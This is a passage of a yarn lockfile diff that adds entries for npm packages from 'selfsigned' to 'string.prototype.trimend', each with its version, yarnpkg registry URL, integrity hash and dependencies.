sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo= + +selfsigned@^1.10.8: + version "1.10.8" + resolved "https://registry.yarnpkg.com/selfsigned/-/selfsigned-1.10.8.tgz#0d17208b7d12c33f8eac85c41835f27fc3d81a30" + integrity sha512-2P4PtieJeEwVgTU9QEcwIRDQ/mXJLX8/+I3ur+Pg16nS8oNbrGxEso9NyYWy8NAmXiNl4dlAp5MwoNeCWzON4w== + dependencies: + node-forge "^0.10.0" + +"semver@2 || 3 || 4 || 5", semver@^5.4.1, semver@^5.5.0, semver@^5.5.1, semver@^5.6.0: + version "5.7.1" + resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7" + integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ== + +semver@7.0.0: + version "7.0.0" + resolved "https://registry.yarnpkg.com/semver/-/semver-7.0.0.tgz#5f3ca35761e47e05b206c6daff2cf814f0316b8e" + integrity sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A== + +semver@7.3.2: + version "7.3.2" + resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.2.tgz#604962b052b81ed0786aae84389ffba70ffd3938" + integrity sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ== + +semver@^6.0.0, semver@^6.3.0: + version "6.3.0" + resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d" + integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw== + +semver@^7.2.1, semver@^7.3.2: + version "7.3.4" + resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.4.tgz#27aaa7d2e4ca76452f98d3add093a72c943edc97" + integrity sha512-tCfb2WLjqFAtXn4KEdxIhalnRtoKFN7nAwj0B3ZXCbQloV2tq5eDbcTmT68JJD3nRJq24/XgxtQKFIpQdtvmVw== + dependencies: + lru-cache "^6.0.0" + +send@0.17.1: + version "0.17.1" + resolved "https://registry.yarnpkg.com/send/-/send-0.17.1.tgz#c1d8b059f7900f7466dd4938bdc44e11ddb376c8" + integrity sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg== + dependencies: + debug "2.6.9" + depd "~1.1.2" + destroy "~1.0.4" + encodeurl "~1.0.2" + escape-html "~1.0.3" + etag "~1.8.1" + fresh "0.5.2" + http-errors "~1.7.2" + mime "1.6.0" + ms "2.1.1" + on-finished "~2.3.0" + range-parser "~1.2.1" + statuses "~1.5.0" + +serialize-javascript@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-4.0.0.tgz#b525e1238489a5ecfc42afacc3fe99e666f4b1aa" + integrity sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw== + dependencies: + randombytes "^2.1.0" + +serialize-javascript@^5.0.1: + version "5.0.1" + resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-5.0.1.tgz#7886ec848049a462467a97d3d918ebb2aaf934f4" + integrity sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA== + dependencies: + randombytes "^2.1.0" + +serve-index@^1.9.1: + version "1.9.1" + resolved "https://registry.yarnpkg.com/serve-index/-/serve-index-1.9.1.tgz#d3768d69b1e7d82e5ce050fff5b453bea12a9239" + integrity sha1-03aNabHn2C5c4FD/9bRTvqEqkjk= + dependencies: + accepts "~1.3.4" + batch "0.6.1" + debug "2.6.9" + escape-html "~1.0.3" + http-errors "~1.6.2" + mime-types "~2.1.17" + parseurl "~1.3.2" + +serve-static@1.14.1: + version "1.14.1" + resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.14.1.tgz#666e636dc4f010f7ef29970a88a674320898b2f9" + integrity sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg== + dependencies: + encodeurl "~1.0.2" + escape-html "~1.0.3" + parseurl "~1.3.3" + send "0.17.1" + +set-blocking@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7" + integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc= + +set-value@^2.0.0, set-value@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/set-value/-/set-value-2.0.1.tgz#a18d40530e6f07de4228c7defe4227af8cad005b" + integrity sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw== + dependencies: + extend-shallow "^2.0.1" + is-extendable "^0.1.1" + is-plain-object "^2.0.3" + split-string "^3.0.1" + +setimmediate@^1.0.4: + version "1.0.5" + resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285" + integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU= + +setprototypeof@1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656" + integrity sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ== + +setprototypeof@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683" + integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw== + +sha.js@^2.4.0, sha.js@^2.4.8: + version "2.4.11" + resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7" + integrity sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ== + dependencies: + inherits "^2.0.1" + safe-buffer "^5.0.1" + +shebang-command@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea" + integrity sha1-RKrGW2lbAzmJaMOfNj/uXer98eo= + dependencies: + shebang-regex "^1.0.0" + +shebang-command@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea" + integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA== + dependencies: + shebang-regex "^3.0.0" + +shebang-regex@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3" + integrity sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM= + +shebang-regex@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172" + integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A== + +shell-quote@1.7.2: + version "1.7.2" + resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.7.2.tgz#67a7d02c76c9da24f99d20808fcaded0e0e04be2" + integrity sha512-mRz/m/JVscCrkMyPqHc/bczi3OQHkLTqXHEFu0zDhK/qfv3UcOA4SVmRCLmos4bhjr9ekVQubj/R7waKapmiQg== + +shellwords@^0.1.1: + version "0.1.1" + resolved "https://registry.yarnpkg.com/shellwords/-/shellwords-0.1.1.tgz#d6b9181c1a48d397324c84871efbcfc73fc0654b" + integrity sha512-vFwSUfQvqybiICwZY5+DAWIPLKsWO31Q91JSKl3UYv+K5c2QRPzn0qzec6QPu1Qc9eHYItiP3NdJqNVqetYAww== + +side-channel@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf" + integrity sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw== + dependencies: + call-bind "^1.0.0" + get-intrinsic "^1.0.2" + object-inspect "^1.9.0" + +signal-exit@^3.0.0, signal-exit@^3.0.2: + version "3.0.3" + resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.3.tgz#a1410c2edd8f077b08b4e253c8eacfcaf057461c" + integrity sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA== + +simple-swizzle@^0.2.2: + version "0.2.2" + resolved "https://registry.yarnpkg.com/simple-swizzle/-/simple-swizzle-0.2.2.tgz#a4da6b635ffcccca33f70d17cb92592de95e557a" + integrity sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo= + dependencies: + is-arrayish "^0.3.1" + +sisteransi@^1.0.5: + version "1.0.5" + resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed" + integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg== + +slash@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634" + integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q== + +slice-ansi@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/slice-ansi/-/slice-ansi-4.0.0.tgz#500e8dd0fd55b05815086255b3195adf2a45fe6b" + integrity sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ== + dependencies: + ansi-styles "^4.0.0" + astral-regex "^2.0.0" + is-fullwidth-code-point "^3.0.0" + +snapdragon-node@^2.0.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/snapdragon-node/-/snapdragon-node-2.1.1.tgz#6c175f86ff14bdb0724563e8f3c1b021a286853b" + integrity sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw== + dependencies: + define-property "^1.0.0" + isobject "^3.0.0" + snapdragon-util "^3.0.1" + +snapdragon-util@^3.0.1: + version "3.0.1" + resolved "https://registry.yarnpkg.com/snapdragon-util/-/snapdragon-util-3.0.1.tgz#f956479486f2acd79700693f6f7b805e45ab56e2" + integrity sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ== + dependencies: + kind-of "^3.2.0" + +snapdragon@^0.8.1: + version "0.8.2" + resolved "https://registry.yarnpkg.com/snapdragon/-/snapdragon-0.8.2.tgz#64922e7c565b0e14204ba1aa7d6964278d25182d" + integrity sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg== + dependencies: + base "^0.11.1" + debug "^2.2.0" + define-property "^0.2.5" + extend-shallow "^2.0.1" + map-cache "^0.2.2" + source-map "^0.5.6" + source-map-resolve "^0.5.0" + use "^3.1.0" + +sockjs-client@^1.5.0: + version "1.5.0" + resolved "https://registry.yarnpkg.com/sockjs-client/-/sockjs-client-1.5.0.tgz#2f8ff5d4b659e0d092f7aba0b7c386bd2aa20add" + integrity sha512-8Dt3BDi4FYNrCFGTL/HtwVzkARrENdwOUf1ZoW/9p3M8lZdFT35jVdrHza+qgxuG9H3/shR4cuX/X9umUrjP8Q== + dependencies: + debug "^3.2.6" + eventsource "^1.0.7" + faye-websocket "^0.11.3" + inherits "^2.0.4" + json3 "^3.3.3" + url-parse "^1.4.7" + +sockjs@^0.3.21: + version "0.3.21" + resolved "https://registry.yarnpkg.com/sockjs/-/sockjs-0.3.21.tgz#b34ffb98e796930b60a0cfa11904d6a339a7d417" + integrity sha512-DhbPFGpxjc6Z3I+uX07Id5ZO2XwYsWOrYjaSeieES78cq+JaJvVe5q/m1uvjIQhXinhIeCFRH6JgXe+mvVMyXw== + dependencies: + faye-websocket "^0.11.3" + uuid "^3.4.0" + websocket-driver "^0.7.4" + +sort-keys@^1.0.0: + version "1.1.2" + resolved "https://registry.yarnpkg.com/sort-keys/-/sort-keys-1.1.2.tgz#441b6d4d346798f1b4e49e8920adfba0e543f9ad" + integrity sha1-RBttTTRnmPG05J6JIK37oOVD+a0= + dependencies: + is-plain-obj "^1.0.0" + +source-list-map@^2.0.0: + version "2.0.1" + resolved "https://registry.yarnpkg.com/source-list-map/-/source-list-map-2.0.1.tgz#3993bd873bfc48479cca9ea3a547835c7c154b34" + integrity sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw== + +source-map-js@^0.6.2: + version "0.6.2" + resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-0.6.2.tgz#0bb5de631b41cfbda6cfba8bd05a80efdfd2385e" + integrity sha512-/3GptzWzu0+0MBQFrDKzw/DvvMTUORvgY6k6jd/VS6iCR4RDTKWH6v6WPwQoUO8667uQEf9Oe38DxAYWY5F/Ug== + +source-map-resolve@^0.5.0, source-map-resolve@^0.5.2: + version "0.5.3" + resolved "https://registry.yarnpkg.com/source-map-resolve/-/source-map-resolve-0.5.3.tgz#190866bece7553e1f8f267a2ee82c606b5509a1a" + integrity sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw== + dependencies: + atob "^2.1.2" + decode-uri-component "^0.2.0" + resolve-url "^0.2.1" + source-map-url "^0.4.0" + urix "^0.1.0" + +source-map-resolve@^0.6.0: + version "0.6.0" + resolved "https://registry.yarnpkg.com/source-map-resolve/-/source-map-resolve-0.6.0.tgz#3d9df87e236b53f16d01e58150fc7711138e5ed2" + integrity sha512-KXBr9d/fO/bWo97NXsPIAW1bFSBOuCnjbNTBMO7N59hsv5i9yzRDfcYwwt0l04+VqnKC+EwzvJZIP/qkuMgR/w== + dependencies: + atob "^2.1.2" + decode-uri-component "^0.2.0" + +source-map-support@^0.5.6, source-map-support@~0.5.12, source-map-support@~0.5.19: + version "0.5.19" + resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.19.tgz#a98b62f86dcaf4f67399648c085291ab9e8fed61" + integrity sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw== + dependencies: + buffer-from "^1.0.0" + source-map "^0.6.0" + +source-map-url@^0.4.0: + version "0.4.1" + resolved "https://registry.yarnpkg.com/source-map-url/-/source-map-url-0.4.1.tgz#0af66605a745a5a2f91cf1bbf8a7afbc283dec56" + integrity sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw== + +source-map@0.6.1, source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.0, source-map@~0.6.1: + version "0.6.1" + resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263" + integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g== + +source-map@^0.5.0, source-map@^0.5.6: + version "0.5.7" + resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc" + integrity sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w= + +source-map@^0.7.3, source-map@~0.7.2: + version "0.7.3" + resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.7.3.tgz#5302f8169031735226544092e64981f751750383" + integrity sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ== + +sourcemap-codec@^1.4.4: + version "1.4.8" + resolved "https://registry.yarnpkg.com/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz#ea804bd94857402e6992d05a38ef1ae35a9ab4c4" + integrity sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA== + +spdx-correct@^3.0.0: + version "3.1.1" + resolved "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.1.1.tgz#dece81ac9c1e6713e5f7d1b6f17d468fa53d89a9" + integrity sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w== + dependencies: + spdx-expression-parse "^3.0.0" + spdx-license-ids "^3.0.0" + +spdx-exceptions@^2.1.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz#3f28ce1a77a00372683eade4a433183527a2163d" + integrity sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A== + +spdx-expression-parse@^3.0.0: + version "3.0.1" + resolved "https://registry.yarnpkg.com/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz#cf70f50482eefdc98e3ce0a6833e4a53ceeba679" + integrity sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q== + dependencies: + spdx-exceptions "^2.1.0" + spdx-license-ids "^3.0.0" + +spdx-license-ids@^3.0.0: + version "3.0.7" + resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.7.tgz#e9c18a410e5ed7e12442a549fbd8afa767038d65" + integrity sha512-U+MTEOO0AiDzxwFvoa4JVnMV6mZlJKk2sBLt90s7G0Gd0Mlknc7kxEn3nuDPNZRta7O2uy8oLcZLVT+4sqNZHQ== + +spdy-transport@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/spdy-transport/-/spdy-transport-3.0.0.tgz#00d4863a6400ad75df93361a1608605e5dcdcf31" + integrity sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw== + dependencies: + debug "^4.1.0" + detect-node "^2.0.4" + hpack.js "^2.1.6" + obuf "^1.1.2" + readable-stream "^3.0.6" + wbuf "^1.7.3" + +spdy@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/spdy/-/spdy-4.0.2.tgz#b74f466203a3eda452c02492b91fb9e84a27677b" + integrity sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA== + dependencies: + debug "^4.1.0" + handle-thing "^2.0.0" + http-deceiver "^1.2.7" + select-hose "^2.0.0" + spdy-transport "^3.0.0" + +split-string@^3.0.1, split-string@^3.0.2: + version "3.1.0" + resolved "https://registry.yarnpkg.com/split-string/-/split-string-3.1.0.tgz#7cb09dda3a86585705c64b39a6466038682e8fe2" + integrity sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw== + dependencies: + extend-shallow "^3.0.0" + +sprintf-js@~1.0.2: + version "1.0.3" + resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c" + integrity sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw= + +sshpk@^1.7.0: + version "1.16.1" + resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.16.1.tgz#fb661c0bef29b39db40769ee39fa70093d6f6877" + integrity sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg== + dependencies: + asn1 "~0.2.3" + assert-plus "^1.0.0" + bcrypt-pbkdf "^1.0.0" + dashdash "^1.12.0" + ecc-jsbn "~0.1.1" + getpass "^0.1.1" + jsbn "~0.1.0" + safer-buffer "^2.0.2" + tweetnacl "~0.14.0" + +ssri@^6.0.1: + version "6.0.1" + resolved "https://registry.yarnpkg.com/ssri/-/ssri-6.0.1.tgz#2a3c41b28dd45b62b63676ecb74001265ae9edd8" + integrity sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA== + dependencies: + figgy-pudding "^3.5.1" + +ssri@^8.0.0: + version "8.0.1" + resolved "https://registry.yarnpkg.com/ssri/-/ssri-8.0.1.tgz#638e4e439e2ffbd2cd289776d5ca457c4f51a2af" + integrity sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ== + dependencies: + minipass "^3.1.1" + +stable@^0.1.8: + version "0.1.8" + resolved "https://registry.yarnpkg.com/stable/-/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf" + integrity sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w== + +stack-utils@^2.0.2: + version "2.0.3" + resolved "https://registry.yarnpkg.com/stack-utils/-/stack-utils-2.0.3.tgz#cd5f030126ff116b78ccb3c027fe302713b61277" + integrity sha512-gL//fkxfWUsIlFL2Tl42Cl6+HFALEaB1FU76I/Fy+oZjRreP7OPMXFlGbxM7NQsI0ZpUfw76sHnv0WNYuTb7Iw== + dependencies: + escape-string-regexp "^2.0.0" + +stackframe@^1.1.1: + version "1.2.0" + resolved "https://registry.yarnpkg.com/stackframe/-/stackframe-1.2.0.tgz#52429492d63c62eb989804c11552e3d22e779303" + integrity sha512-GrdeshiRmS1YLMYgzF16olf2jJ/IzxXY9lhKOskuVziubpTYcYqyOwYeJKzQkwy7uN0fYSsbsC4RQaXf9LCrYA== + +static-extend@^0.1.1: + version "0.1.2" + resolved "https://registry.yarnpkg.com/static-extend/-/static-extend-0.1.2.tgz#60809c39cbff55337226fd5e0b520f341f1fb5c6" + integrity sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY= + dependencies: + define-property "^0.2.5" + object-copy "^0.1.0" + +"statuses@>= 1.4.0 < 2", "statuses@>= 1.5.0 < 2", statuses@~1.5.0: + version "1.5.0" + resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c" + integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow= + +stealthy-require@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/stealthy-require/-/stealthy-require-1.1.1.tgz#35b09875b4ff49f26a777e509b3090a3226bf24b" + integrity sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks= + +stream-browserify@^2.0.1: + version "2.0.2" + resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-2.0.2.tgz#87521d38a44aa7ee91ce1cd2a47df0cb49dd660b" + integrity sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg== + dependencies: + inherits "~2.0.1" + readable-stream "^2.0.2" + +stream-each@^1.1.0: + version "1.2.3" + resolved "https://registry.yarnpkg.com/stream-each/-/stream-each-1.2.3.tgz#ebe27a0c389b04fbcc233642952e10731afa9bae" + integrity sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw== + dependencies: + end-of-stream "^1.1.0" + stream-shift "^1.0.0" + +stream-http@^2.7.2: + version "2.8.3" + resolved "https://registry.yarnpkg.com/stream-http/-/stream-http-2.8.3.tgz#b2d242469288a5a27ec4fe8933acf623de6514fc" + integrity sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw== + dependencies: + builtin-status-codes "^3.0.0" + inherits "^2.0.1" + readable-stream "^2.3.6" + to-arraybuffer "^1.0.0" + xtend "^4.0.0" + +stream-shift@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/stream-shift/-/stream-shift-1.0.1.tgz#d7088281559ab2778424279b0877da3c392d5a3d" + integrity sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ== + +strict-uri-encode@^1.0.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz#279b225df1d582b1f54e65addd4352e18faa0713" + integrity sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM= + +string-length@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/string-length/-/string-length-4.0.1.tgz#4a973bf31ef77c4edbceadd6af2611996985f8a1" + integrity sha512-PKyXUd0LK0ePjSOnWn34V2uD6acUWev9uy0Ft05k0E8xRW+SKcA0F7eMr7h5xlzfn+4O3N+55rduYyet3Jk+jw== + dependencies: + char-regex "^1.0.2" + strip-ansi "^6.0.0" + +string-natural-compare@^3.0.1: + version "3.0.1" + resolved "https://registry.yarnpkg.com/string-natural-compare/-/string-natural-compare-3.0.1.tgz#7a42d58474454963759e8e8b7ae63d71c1e7fdf4" + integrity sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw== + +string-width@^3.0.0, string-width@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/string-width/-/string-width-3.1.0.tgz#22767be21b62af1081574306f69ac51b62203961" + integrity sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w== + dependencies: + emoji-regex "^7.0.1" + is-fullwidth-code-point "^2.0.0" + strip-ansi "^5.1.0" + +string-width@^4.1.0, string-width@^4.2.0: + version "4.2.0" + resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.0.tgz#952182c46cc7b2c313d1596e623992bd163b72b5" + integrity sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg== + dependencies: + emoji-regex "^8.0.0" + is-fullwidth-code-point "^3.0.0" + strip-ansi "^6.0.0" + +string.prototype.matchall@^4.0.2: + version "4.0.4" + resolved "https://registry.yarnpkg.com/string.prototype.matchall/-/string.prototype.matchall-4.0.4.tgz#608f255e93e072107f5de066f81a2dfb78cf6b29" + integrity sha512-pknFIWVachNcyqRfaQSeu/FUfpvJTe4uskUSZ9Wc1RijsPuzbZ8TyYT8WCNnntCjUEqQ3vUHMAfVj2+wLAisPQ== + dependencies: + call-bind "^1.0.2" + define-properties "^1.1.3" + es-abstract "^1.18.0-next.2" + has-symbols "^1.0.1" + internal-slot "^1.0.3" + regexp.prototype.flags "^1.3.1" + side-channel "^1.0.4" + +string.prototype.trimend@^1.0.1, string.prototype.trimend@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.3.tgz#a22bd53cca5c7cf44d7c9d5c732118873d6cd18b" + integrity 